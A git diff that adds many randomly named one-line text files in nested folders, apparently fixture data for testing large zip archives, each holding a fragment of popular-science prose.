diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_okgwhnsleotkohexrnkm.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_okgwhnsleotkohexrnkm.txt
new file mode 100644
index 0000000..f1bb4b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_okgwhnsleotkohexrnkm.txt
@@ -0,0 +1 @@
+populated by anchorites and misanthropes. Electrons repel electrons. Protons repel protons.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_pwkddbrtiqrtvnfeaneupcxq.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_pwkddbrtiqrtvnfeaneupcxq.txt
new file mode 100644
index 0000000..f1bb4b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_pwkddbrtiqrtvnfeaneupcxq.txt
@@ -0,0 +1 @@
+populated by anchorites and misanthropes. Electrons repel electrons. Protons repel protons.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_qwinnxzzxhdqunlhumzo.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_qwinnxzzxhdqunlhumzo.txt
new file mode 100644
index 0000000..f1bb4b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_qwinnxzzxhdqunlhumzo.txt
@@ -0,0 +1 @@
+populated by anchorites and misanthropes. Electrons repel electrons. Protons repel protons.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_vejhloqoiswmlrmauiyqcr.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_vejhloqoiswmlrmauiyqcr.txt
new file mode 100644
index 0000000..f1bb4b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_vejhloqoiswmlrmauiyqcr.txt
@@ -0,0 +1 @@
+populated by anchorites and misanthropes. Electrons repel electrons. Protons repel protons.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_vqtmbsbgcepmghuupvysq.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_vqtmbsbgcepmghuupvysq.txt
new file mode 100644
index 0000000..f1bb4b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_vqtmbsbgcepmghuupvysq.txt
@@ -0,0 +1 @@
+populated by anchorites and misanthropes. Electrons repel electrons. Protons repel protons.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_xrevnbwpmyzgnpuiofcxa.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_xrevnbwpmyzgnpuiofcxa.txt
new file mode 100644
index 0000000..f1bb4b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_xrevnbwpmyzgnpuiofcxa.txt
@@ -0,0 +1 @@
+populated by anchorites and misanthropes. Electrons repel electrons. Protons repel protons.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_xtiwtfjzjzw.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_xtiwtfjzjzw.txt
new file mode 100644
index 0000000..f1bb4b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_xtiwtfjzjzw.txt
@@ -0,0 +1 @@
+populated by anchorites and misanthropes. Electrons repel electrons. Protons repel protons.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_ypwqwtjjbaqlgsgpi.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_ypwqwtjjbaqlgsgpi.txt
new file mode 100644
index 0000000..f1bb4b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_ypwqwtjjbaqlgsgpi.txt
@@ -0,0 +1 @@
+populated by anchorites and misanthropes. Electrons repel electrons. Protons repel protons.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_zrlwlhav.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_zrlwlhav.txt
new file mode 100644
index 0000000..f1bb4b5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/file_zrlwlhav.txt
@@ -0,0 +1 @@
+populated by anchorites and misanthropes. Electrons repel electrons. Protons repel protons.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/bwssmvvtcwypfmqushhoson.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/bwssmvvtcwypfmqushhoson.txt
new file mode 100644
index 0000000..e84ae65
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/bwssmvvtcwypfmqushhoson.txt
@@ -0,0 +1 @@
+which side of the telescope the intelligence was on.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/enncapurtrr.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/enncapurtrr.txt
new file mode 100644
index 0000000..11e4d23
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/enncapurtrr.txt
@@ -0,0 +1 @@
+larvae, the larvae pupae, and the pupae to emerge as new adult fruit flies.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/evsrofgrsynhlhxhodgnewbt.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/evsrofgrsynhlhxhodgnewbt.txt
new file mode 100644
index 0000000..7d6295f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/evsrofgrsynhlhxhodgnewbt.txt
@@ -0,0 +1 @@
+stone came out of it in a shower of fire and sparks. The smoke was foul; it had a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/exixflnp.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/exixflnp.txt
new file mode 100644
index 0000000..f1e72dd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/exixflnp.txt
@@ -0,0 +1 @@
+the worm which the Assyrians of 1000 B.C. imagined to cause toothaches. It begins with
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/fdwvhlltzqj.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/fdwvhlltzqj.txt
new file mode 100644
index 0000000..b94e2d3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/fdwvhlltzqj.txt
@@ -0,0 +1 @@
+Parts of the Somnium were clearly autobiographical. The hero, for example, visits
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_csxwhduzcdwntzx.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_csxwhduzcdwntzx.txt
new file mode 100644
index 0000000..1e878ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_csxwhduzcdwntzx.txt
@@ -0,0 +1 @@
+kilometers away.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_gfwdpsuzkuickvdlcac.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_gfwdpsuzkuickvdlcac.txt
new file mode 100644
index 0000000..1e878ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_gfwdpsuzkuickvdlcac.txt
@@ -0,0 +1 @@
+kilometers away.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_jhkwzztcnezymkflu.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_jhkwzztcnezymkflu.txt
new file mode 100644
index 0000000..1e878ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_jhkwzztcnezymkflu.txt
@@ -0,0 +1 @@
+kilometers away.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_mdzojyti.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_mdzojyti.txt
new file mode 100644
index 0000000..1e878ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_mdzojyti.txt
@@ -0,0 +1 @@
+kilometers away.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_nhgashnvj.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_nhgashnvj.txt
new file mode 100644
index 0000000..1e878ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_nhgashnvj.txt
@@ -0,0 +1 @@
+kilometers away.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_oxhrxahqlxl.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_oxhrxahqlxl.txt
new file mode 100644
index 0000000..1e878ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_oxhrxahqlxl.txt
@@ -0,0 +1 @@
+kilometers away.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_qjaryvyxqwpagrkf.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_qjaryvyxqwpagrkf.txt
new file mode 100644
index 0000000..1e878ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_qjaryvyxqwpagrkf.txt
@@ -0,0 +1 @@
+kilometers away.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_tzvouqcppdwehqjhlb.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_tzvouqcppdwehqjhlb.txt
new file mode 100644
index 0000000..1e878ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_tzvouqcppdwehqjhlb.txt
@@ -0,0 +1 @@
+kilometers away.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_vgrpqkpziatxhmiczh.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_vgrpqkpziatxhmiczh.txt
new file mode 100644
index 0000000..1e878ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_vgrpqkpziatxhmiczh.txt
@@ -0,0 +1 @@
+kilometers away.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_wcqkwdpyeazglgp.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_wcqkwdpyeazglgp.txt
new file mode 100644
index 0000000..1e878ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_wcqkwdpyeazglgp.txt
@@ -0,0 +1 @@
+kilometers away.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_yaynrablu.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_yaynrablu.txt
new file mode 100644
index 0000000..1e878ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/file_yaynrablu.txt
@@ -0,0 +1 @@
+kilometers away.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/lqvcrmadtxluyjfykbcuuabh.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/lqvcrmadtxluyjfykbcuuabh.txt
new file mode 100644
index 0000000..29f2dd4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/lqvcrmadtxluyjfykbcuuabh.txt
@@ -0,0 +1 @@
+me a great pity. The Orion starship is the best use of nuclear weapons I can think of.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/obwkahtgzefhaush.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/obwkahtgzefhaush.txt
new file mode 100644
index 0000000..20fa0ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/obwkahtgzefhaush.txt
@@ -0,0 +1 @@
+does in history. The farther back the critical events occur, the more powerfully can they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/rqjyxtmfqaha.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/rqjyxtmfqaha.txt
new file mode 100644
index 0000000..4ec6aa3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/rqjyxtmfqaha.txt
@@ -0,0 +1 @@
+Swiftly the [cortex] becomes an enchanted loom where millions of flashing shuttles
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/rzqvuuexxrvbxmxpiazbcupr.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/rzqvuuexxrvbxmxpiazbcupr.txt
new file mode 100644
index 0000000..0bbca9d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/rzqvuuexxrvbxmxpiazbcupr.txt
@@ -0,0 +1 @@
+the summit caldera of the great volcano of Aetna. But I sometimes imagine that he merely
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/taboczyn.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/taboczyn.txt
new file mode 100644
index 0000000..f7da635
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/taboczyn.txt
@@ -0,0 +1 @@
+examined by Imre Friedmann, turn out to have a fascinating microbiology - one or two
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/vockfjzorvtenliraabsj.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/vockfjzorvtenliraabsj.txt
new file mode 100644
index 0000000..5968cde
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/vockfjzorvtenliraabsj.txt
@@ -0,0 +1 @@
+because of Vishniac’s death, the results of his Antarctic experiments did not influence the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/vvvslcdxslbq.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/vvvslcdxslbq.txt
new file mode 100644
index 0000000..616cb49
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/vvvslcdxslbq.txt
@@ -0,0 +1 @@
+Cosmos.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/xrjejysyvoj.txt b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/xrjejysyvoj.txt
new file mode 100644
index 0000000..eea2d79
--- /dev/null
+++ b/big_zip/big-zip-files/folder_akztidphyx/folder_jgnclkqoxd/folder_oscqkgucdb/folder_ptabtelheq/xrjejysyvoj.txt
@@ -0,0 +1 @@
+star, the origin of a binary star system. It is still too early to be sure, but it seems that a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/file_cnbrhprjvqbefa.txt b/big_zip/big-zip-files/folder_amtldjqhik/file_cnbrhprjvqbefa.txt
new file mode 100644
index 0000000..55af9f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/file_cnbrhprjvqbefa.txt
@@ -0,0 +1 @@
+screens. We could trace the route, ponder the findings, suggest new destinations. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/file_gtmkexvbjnwp.txt b/big_zip/big-zip-files/folder_amtldjqhik/file_gtmkexvbjnwp.txt
new file mode 100644
index 0000000..55af9f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/file_gtmkexvbjnwp.txt
@@ -0,0 +1 @@
+screens. We could trace the route, ponder the findings, suggest new destinations. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/file_kaevgheqmuqqv.txt b/big_zip/big-zip-files/folder_amtldjqhik/file_kaevgheqmuqqv.txt
new file mode 100644
index 0000000..55af9f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/file_kaevgheqmuqqv.txt
@@ -0,0 +1 @@
+screens. We could trace the route, ponder the findings, suggest new destinations. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/file_lzrwidhnwhmzjlkbhcwwvlt.txt b/big_zip/big-zip-files/folder_amtldjqhik/file_lzrwidhnwhmzjlkbhcwwvlt.txt
new file mode 100644
index 0000000..55af9f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/file_lzrwidhnwhmzjlkbhcwwvlt.txt
@@ -0,0 +1 @@
+screens. We could trace the route, ponder the findings, suggest new destinations. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/file_mreamibawroxwrjiyyhabbm.txt b/big_zip/big-zip-files/folder_amtldjqhik/file_mreamibawroxwrjiyyhabbm.txt
new file mode 100644
index 0000000..55af9f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/file_mreamibawroxwrjiyyhabbm.txt
@@ -0,0 +1 @@
+screens. We could trace the route, ponder the findings, suggest new destinations. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/file_sbziqyudefkeaovomxturij.txt b/big_zip/big-zip-files/folder_amtldjqhik/file_sbziqyudefkeaovomxturij.txt
new file mode 100644
index 0000000..55af9f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/file_sbziqyudefkeaovomxturij.txt
@@ -0,0 +1 @@
+screens. We could trace the route, ponder the findings, suggest new destinations. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/file_teougadvpqlb.txt b/big_zip/big-zip-files/folder_amtldjqhik/file_teougadvpqlb.txt
new file mode 100644
index 0000000..55af9f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/file_teougadvpqlb.txt
@@ -0,0 +1 @@
+screens. We could trace the route, ponder the findings, suggest new destinations. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/file_tmjiiqsodblycqo.txt b/big_zip/big-zip-files/folder_amtldjqhik/file_tmjiiqsodblycqo.txt
new file mode 100644
index 0000000..55af9f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/file_tmjiiqsodblycqo.txt
@@ -0,0 +1 @@
+screens. We could trace the route, ponder the findings, suggest new destinations. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/file_utjkraebqwpuvgzcocjwrhef.txt b/big_zip/big-zip-files/folder_amtldjqhik/file_utjkraebqwpuvgzcocjwrhef.txt
new file mode 100644
index 0000000..55af9f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/file_utjkraebqwpuvgzcocjwrhef.txt
@@ -0,0 +1 @@
+screens. We could trace the route, ponder the findings, suggest new destinations. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/file_wjzkwhjjukfvpjyfjovzzflb.txt b/big_zip/big-zip-files/folder_amtldjqhik/file_wjzkwhjjukfvpjyfjovzzflb.txt
new file mode 100644
index 0000000..55af9f0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/file_wjzkwhjjukfvpjyfjovzzflb.txt
@@ -0,0 +1 @@
+screens. We could trace the route, ponder the findings, suggest new destinations. The
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_cgnwjcexbv.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_cgnwjcexbv.txt
new file mode 100644
index 0000000..53352a1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_cgnwjcexbv.txt
@@ -0,0 +1 @@
+On the surface of any moon or planet, there will be external processes, such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_dadcctvzbg.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_dadcctvzbg.txt
new file mode 100644
index 0000000..53352a1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_dadcctvzbg.txt
@@ -0,0 +1 @@
+On the surface of any moon or planet, there will be external processes, such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_fdmrpycayxdqo.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_fdmrpycayxdqo.txt
new file mode 100644
index 0000000..53352a1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_fdmrpycayxdqo.txt
@@ -0,0 +1 @@
+On the surface of any moon or planet, there will be external processes, such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_grpqhkjzkrevhwvsyw.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_grpqhkjzkrevhwvsyw.txt
new file mode 100644
index 0000000..53352a1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_grpqhkjzkrevhwvsyw.txt
@@ -0,0 +1 @@
+On the surface of any moon or planet, there will be external processes, such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_jjvrlhoerpwhfuvlkkyeimdh.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_jjvrlhoerpwhfuvlkkyeimdh.txt
new file mode 100644
index 0000000..53352a1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_jjvrlhoerpwhfuvlkkyeimdh.txt
@@ -0,0 +1 @@
+On the surface of any moon or planet, there will be external processes, such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_kicedklwapusub.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_kicedklwapusub.txt
new file mode 100644
index 0000000..53352a1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_kicedklwapusub.txt
@@ -0,0 +1 @@
+On the surface of any moon or planet, there will be external processes, such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_kkzqytbeivlt.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_kkzqytbeivlt.txt
new file mode 100644
index 0000000..53352a1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_kkzqytbeivlt.txt
@@ -0,0 +1 @@
+On the surface of any moon or planet, there will be external processes, such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_lmjxbblwtqcvd.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_lmjxbblwtqcvd.txt
new file mode 100644
index 0000000..53352a1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_lmjxbblwtqcvd.txt
@@ -0,0 +1 @@
+On the surface of any moon or planet, there will be external processes, such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_tbyshjxoar.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_tbyshjxoar.txt
new file mode 100644
index 0000000..53352a1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_tbyshjxoar.txt
@@ -0,0 +1 @@
+On the surface of any moon or planet, there will be external processes, such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_ubkkwpdyurnobwjbhtsyalzo.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_ubkkwpdyurnobwjbhtsyalzo.txt
new file mode 100644
index 0000000..53352a1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_ubkkwpdyurnobwjbhtsyalzo.txt
@@ -0,0 +1 @@
+On the surface of any moon or planet, there will be external processes, such as
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_vodqlinmpdmwntu.txt b/big_zip/big-zip-files/folder_amtldjqhik/folder_voqcqvjzrz/file_vodqlinmpdmwntu.txt
new file mode 100644
